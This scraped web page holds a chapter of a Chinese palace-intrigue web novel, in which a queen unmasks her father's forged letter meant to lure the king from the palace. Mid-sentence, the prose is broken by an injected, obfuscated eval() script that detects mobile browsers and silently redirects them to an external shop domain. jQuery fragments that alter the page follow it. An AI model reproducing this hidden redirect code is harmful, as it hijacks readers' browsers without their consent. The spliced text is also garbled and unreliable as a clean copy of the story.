默认冷灰
24号文字
方正启体

41. 吾弟可安好

作者:礼心本书字数:K更新时间:
    上面写着:


    “王上吾弟可安好?搬到舒屿别苑后,愈加思念母后与您,近日身体欠安,久病难愈,竟与父兄之状相似,不知缘由,姐心有恐慌,怕又是那贼人下毒害我。


    不便告诉母后,只愿王上若能得便,暗中来叙,若是不能得便,王上也不必牵挂,勿贸然出宫引得祸事。


    每念及吾姜国之状,心痛如刀绞,每念及吾父兄,悲伤如冷月,每念及吾母后,思念如春风,每念及吾弟,担忧如秋蝉。


    若有力气,再写家书,若无力气,此为绝笔,母后年岁已高,若哪日已至寿数,请把此信交予母后,又附的青丝一缕,也交于母后,身体发肤受之父母,也算尽了孝心。


    玲珑书。”


    这真的是父亲想的法子吗?那时我问公主父亲究竟会想什么法子诱得王上出宫,公主也想不出什么,只叮嘱我,无论什么也不要相信,千万不要让王上出宫。


    只是这封家书如此情真意切,字字句句都是在担心王上与姜国,倒真的像公主所写。


    而且姜砚舟细细抚摸着书信,开篇的“王上吾弟”正是公主平日里对他的宠溺的称呼。


    可转念一想,父亲果然老奸巨猾,他要的就是这样的效果,以亲情为诱饵,引得王上若是不见公主一面,倒显得王上畏畏缩缩,不顾至亲之情。


    信的一开始便抛出公主身体欠佳的信息,与先王上和先世子的病症相同,公主又被毒害,此为新愁,那先王与先世子病逝,乃为旧恨,父亲这样写为的就是勾起王上的新愁旧恨。


    父亲果然是父亲,如此心思缜密,若不是提前知道他们的计划,我都要相信了,若我是王上,便是豁出性命也要出宫与公主一叙。


    他利用的就是王上的血脉之情与仇恨之心。


    我抬头一看姜砚舟,他双眼泛红,眼睑微颤,举着信的双手十分用力,他声音低沉,


    “退下。”


    一声令下,殿内所有的宫人都退了出去。姜砚舟终于没能忍住,他伏在我的肩头啜泣,十分悲伤,


    “这是王姐的字迹,是王姐的字迹,还有王姐的头发,阿沅,我真的要挺不住了。”


    姜砚舟这样一说,倒让我也多了几分怀疑,难道这书信真的是公主所写,不,这一定是父亲的阴谋。


    “王上,振作一些,模仿字迹不是难事。”


    在唐家,因父亲喜爱书法,我们兄妹三人自小耳濡目染便也喜欢书法。学习书法之初就是要临摹,之后才能慢慢有自己的笔法,自成一派。


    姜砚舟一听,便站直了身体,


    “当真?”


    我点点头,


    “模仿字迹很简单,我可以,家中兄长阿玲他们也可以,不信你看。”


    说着,我便走到案前模仿信上的字迹写了几行。


    姜砚舟拿着对比,终于漏出笑意,


    “果真如此。”


    我点点头,又把自己的分析与姜砚舟说了一遍,他此刻太紧张了,容易陷入误区,听完我说的话,他的心情便更加放松起来。


    “如此甚好甚好,我便可以没有后顾之忧的可以开展我的计划了。”


    看着眼前这个如此重情义的姜砚舟,心疼之余也有些担心,他真的是父亲的对手吗?


    若姜砚舟没有这些可怕的经历,他应该还是无忧无虑的当着他的二皇子,做自己喜欢做的事。可是他深爱着姜国,更爱着自己的亲人,他有血有肉,又是一个率性的人,他如何能忘记仇恨,如何能放下仇恨,只能靠着仇恨一直走下去。


    公主书信既到,就等着王上上钩,姜砚舟已找到一个合适的人选,以合适的妆容化作他自己,若是白日里看定是可以看出异常之处,可若是夜晚光线不明的情况下,此人的身材与王上很是相似,再加上刻意模仿,蒙混过关的可能性极大。


    这时,张公公走进来,先是看了我一眼,


    “王上?”


    他是有要事禀报,但因着我在这里,不方便,便询问姜宴舟的意见,见此情形,我也不等姜砚舟开口,便说道:


    “臣妾还有别的事,就先行告退了。”


    姜砚舟却温柔的说道:


    “不急就在这里陪着我。”


    转头又吩咐道:


    “但说无妨。”


    张公公听后便回道:


    “萧大人来了。”


    “让他进来吧,再上一壶热茶。”


    姜砚舟握着我的手拍了两下,又淡淡笑道:


    “辛苦王后为我们斟茶了。”


    有他的信任与爱意,我自是愿意,便莞尔一笑。


    萧大人进来那一刻,有一瞬觉的十分恍惚,那日,我捧着银钱去找萧伯父帮忙进宫去与父亲偷偷会面,仿佛是昨日才发生的事情。


    父亲的名单上没有萧伯父,他果然不是父亲的人,他对姜王室才是忠心耿耿的臣子。


    只是我心里有疑问,那父亲被关在宫中的时候,他为何还要帮我周转?而且名义上与父亲交好?还把可欣送来陪读?


    难道他是暗中潜伏在父亲身边的吗?无论是帮我周转亦或是把可欣送来陪读都是他想从侧面打探到一些消息的手段?


    倘若果真如此,可欣也应该早知道了父亲的谋逆之心,与我相交甚好,也是带着目地的。


    既如此,那她知晓王上就是夫子之时,就并不是在进宫之时,所以,她应该早已经知道了夫子的真实身份,那日才配合阿玲扯下姜砚舟的面纱,所以她进宫也不是巧合,也不是没有缘由,我就说为什么她愿意进宫为妃,原是她早知道夫子就是姜砚舟,她早已经对姜砚舟倾心。


    那日她还故意试探我,装作也是进宫才发现王上便是夫子这件事情,她这样试探,大概就是不想让我知道萧伯父和她早已经是姜砚舟的人罢了。


    朝堂上的人果然不一般!


    父亲所说的话确实是至理,识人识事不能简单到只凭自己的一双眼睛或一两件事,一定要经过日久的相处与揣摩。


    萧大人给王上行礼后,又向我行礼道:


    “微臣见过王后,与王后许久未见,不知近


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241100|197736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    日可好?”


    “萧大人快起,本宫也许久未见您,瞧您气色俱佳,定是身体安康,本宫也很好,劳烦萧大人挂心。”


    这时宫人搬来一把椅子,姜砚舟赐坐,萧大人便坐下,他的眼中神色复杂,对我似有防备之意,


    “王后的品行实在是令萧某敬佩,我真的没有想到,一个女子竟有如此大的勇气,敢于站在正义的一方,你的父亲,哎,可惜啊,他原本与先王并驾齐驱一起开辟姜国的国土,劳苦功高,只是没想到他是何时生出这样的心思,真真是辜负了先王对他的信任。”


    父亲是个什么样子的人,我自是十分了解,年轻的时候敢于拼搏,作为先王的利剑,才换来如今显赫的地位,只是年轻时候的野心到了如今,变得更大了。


    也许是年岁的增长让他的胆子变大,又加上他见惯了王权的威严,便心有嫉妒,才让他有次野心。


    只是,我在心里叹了一口气,父亲即使再不堪,我也不愿意与外人一同诋毁他,只是礼貌的微笑。


    姜砚舟接过话,


    “阿沅若为男子,定可以闯荡出一片天地。”


    又有几位大人也来了,他们是要制定行动计划,虽然姜砚舟信任我,但我却不是很想听,心里觉得烦闷,便告退走了出来。


    待行动计划拟定好,父亲与姜砚舟二人的正式较量也就开始了,究竟会是什么样的结果?我不忍心看父亲死在我的面前,又能忍心看姜砚舟死在我的面前吗?


    我行走到御花园处,揪心之痛让我难以站立,顺势坐在湖边的石头上。


    湖水格外平静,连风也没有,便泛不起一丝涟漪,我大口的呼吸着,这王宫里真的是让人喘不过气来。


    小兰心疼的看着我,


    “王后,您怎么了?是不是哪里不舒服?”


    我摇着头,捂着胸口,自从得知真相后,胸口疼就时不时的发作,我知道这是心病,我在担心着自己根本掌控不了的事情,今日还真是好天气,天朗气清,可这样好的天气下却酝酿着一场血雨腥风。


    我颤颤巍巍的抓着小兰的胳膊,抬起眼睛问她,


    “小兰,如果我死了,会不会所有人都会忘了我?”


    小兰神色慌张,带着哭音,


    “王后,您究竟怎么了,要是哪里不舒服的话,奴婢去给您请御医。”


    我终于没能忍住,流出眼泪,摇着头昏昏沉沉,


    “不是,根本不是...”


    身体没有不舒服的地方,是心事太繁重了,天下最大的仇家,竟然就是我最在乎的两个家族,而我夹在中间真的快要窒息了。


    说到死,我是真的不怕,无论最终谁输谁赢,我都是最大的输家,输到丢了性命我才会有一丝解脱的感觉。


    小兰还在一旁询问我究竟怎么回事,我却不能吐露分毫,就算说出来她也只是跟着我干着急。


    我缓了好久,胸口才没有那么疼,这时,可欣走了过来,她格外平静,站在我旁边,望着湖水,长长的叹了一口气,开口却让我脊背发凉,
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)